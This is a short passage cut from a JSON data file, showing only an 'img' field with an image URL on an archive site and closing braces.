		"img": "https://archive.orkl.eu/d043c3c42ea6f25467b07f4b15d56829d49bb649.jpg"
	}
}